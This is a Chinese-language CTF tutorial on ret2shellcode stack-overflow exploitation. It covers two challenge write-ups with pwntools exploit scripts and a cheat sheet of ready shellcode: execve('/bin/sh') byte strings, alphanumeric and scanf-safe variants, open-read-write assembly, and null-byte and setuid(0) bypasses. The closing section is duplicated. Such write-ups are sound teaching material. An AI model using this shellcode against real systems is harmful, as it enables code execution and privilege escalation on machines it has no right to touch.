概述

ret2shellcode是栈溢出利用ret2textret2shellcoderet2libc三大类中的一个,是指攻击者需要在程序没给shell的情况下自己调用shell的机器码(即shellcode)注入到程序内存中,随后就是利用栈溢出复写return_address,跳转至shellcode所在内存,执行shell命令,得到flag。

可能的exp姿势

1.注入shellcode至stack段中

这个现在其实很少见了,基本上都加了保护。其中,比较常见的保护手段有:

  • ASLR:其功能是将一部分内存段(如栈…)的地址偏移,在注入时难以定位其位置。
  • NX:使得部分内存段(如堆、栈…) 不可执行,无法执行注入的代码。
  • Canary:原理是在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若改变,则断定发生栈溢出
2.注入shellcode至bss段中

在虚拟内存当中,bss段主要保存无初值的全局变量/静态变量(在assmbly中以占位符?声明)。若程序的bss段可写、可执行,则可以把shellcode写入全局变量/静态变量中。

例题

一.[GDOUCTF 2023]Shellcode

拿到二进制文件,习惯性的checksec一下,看栈…的保护措施:
在这里插入图片描述

加了NX,不过没啥关系,

放到IDA中反编译,定位到main函数

{
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Please.");
  read(0, &name, 0x25uLL);
  puts("Nice to meet you.");
  puts("Let's start!");
  read(0, buf, 0x40uLL);
  return 0;
}

可以利用name来注入shellcode,然后再栈溢出到buf中执行。这里要注意的是name限制了25字节的写入。

想到利用pwntools里的shellcraft模块直接生成shellcode利用,

首先试试用shellcraft.sh(),但是这个在32位下占位44字节,64位的则为48字节,超过了25字节的写入限制。于是,便利用shellcraft.cat()来构造cat flag,这个只有0x21字节。

接着,我们得到name的地址为.bss段0x6010A0

最后的exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 28409)

shellcode = asm(shellcraft.cat("flag"))
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))

io.interactive()

#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}

还有一种做法是手动构造shellcode,找一个小于25字节的shellcode。

NOTE

32位短字节shellcode(21字节):

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64位短字节shellcode(23字节):

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05

其余的基本上不变,下面为第二种exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 28409)
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))

io.interactive()

#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}
二.[HNCTF 2022 Week1]safe_shellcode

拿到附件,checksec一下,
在这里插入图片描述

保护得还算少,

IDA中反编译,定位main函数

{
  size_t v3; // rbx
  char s[524]; // [rsp+0h] [rbp-220h] BYREF
  int i; // [rsp+20Ch] [rbp-14h]

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  memset(s, 0, 0x200uLL);
  read(0, s, 0x300uLL);
  for ( i = 0; ; ++i )
  {
    v3 = i;
    if ( v3 >= strlen(s) )
      break;
    if ( s[i] <= 47 || s[i] > 122 )
    {
      puts("Hacker!!!");
      exit(0);
    }
  }
  strcpy(buff, s);
  (*(void (**)(void))buff)();
  return 0;
}

就是先read一下s变量,循环s字节数的次数做判断,strcpy(buff, s)则是将s的值直接存入buff中,其也指向了.bss段

要想绕过该判断,只要输入的ascii码在47-122之间即可。09、AZ、a~z都可。

我们使用纯ascii字符的shellcodePh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

因为后面直接调用了buff的地址,所以无须栈溢出即可得到flag。

NOTE

32位 短字节shellcode --> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

最后的exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node5.anna.nssctf.cn', 26988)

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

#flag:nssctf{W0www!!!!!!!!!!!Sh311C0d3_m@st3rrr!!}

绕过限制

一.限制输入长度
  1. 利用短字节shellcode(32位)

    getshell - 21字节

    # (execve("/bin/sh",NULL,NULL))
    shellcode = asm("""
        push 0x68732f
        push 0x6e69622f
        mov ebx,esp
        xor ecx,ecx
        xor edx,edx
        push 11
        pop eax
        int 0x80
    """)
    

    orw - 56字节

    shellcode = asm("""
        /*open(./flag)*/
        push 0x1010101
        xor dword ptr [esp], 0x1016660
        push 0x6c662f2e
        mov eax,0x5
        mov ebx,esp
        xor ecx,ecx
        int 0x80
        /*read(fd,buf,0x100)*/
        mov ebx,eax
        mov ecx,esp
        mov edx,0x30
        mov eax,0x3
        int 0x80
        /*write(1,buf,0x100)*/
        mov ebx,0x1
        mov eax,0x4
        int 0x80
    """)
    

    \x00截断getshell - 21字节

    \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
    

    scanf可读取getshell - 41字节

    \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
    
  2. 利用短字节shellcode(64位)

    getshell - 22字节

    shellcode = asm("""
        mov rbx, 0x68732f6e69622f
        push rbx
        push rsp
        pop rdi
        xor esi,esi
        xor edx,edx
        push 0x3b
        pop rax
        syscall
    """)
    

    orw - 43字节

    shellcode = asm("""
        push 0x67616c66
        mov rdi,rsp
        xor esi,esi
        push 2
        pop rax
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov edx,0x100
        xor eax,eax
        syscall
        mov edi,1
        mov rsi,rsp
        push 1
        pop rax
        syscall
    """)
    

    \x00截断、scanf可读 - 22字节

    \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
    
  3. \x00截断绕过长度判断

    当题目采用strlen来进行shellcode的长度检测时,可以在其前面加\x00开头的指令绕过长度检测。以下为64位的指令:

    00 40 00                 add    BYTE PTR [rax+0x0],  al
    00 41 00                 add    BYTE PTR [rcx+0x0],  al
    00 42 00                 add    BYTE PTR [rdx+0x0],  al
    00 43 00                 add    BYTE PTR [rbx+0x0],  al
    00 45 00                 add    BYTE PTR [rbp+0x0],  al
    00 46 00                 add    BYTE PTR [rsi+0x0],  al
    00 47 00                 add    BYTE PTR [rdi+0x0],  al
    

    ps:也可直接\x00\x00绕过

二.限制权限
  1. 限制shellcode无读写权限

    利用mprotect给予读写权限,并再次利用read写入执行

    mprotect用法
    
    #include <unistd.h>
    #include <sys/mmap.h>
    int mprotect(const void *start, size_t len, int prot);
    
  2. 限制远程读flag权限

    先执行setuid(0),再执行execve来进行getshell

可直接\x00\x00绕过

二.限制权限
  1. 限制shellcode无读写权限

    利用mprotect给予读写权限,并再次利用read写入执行

    mprotect用法
    
    #include <unistd.h>
    #include <sys/mmap.h>
    int mprotect(const void *start, size_t len, int prot);
    
  2. 限制远程读flag权限

    先执行setuid(0),再执行execve来进行getshell

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐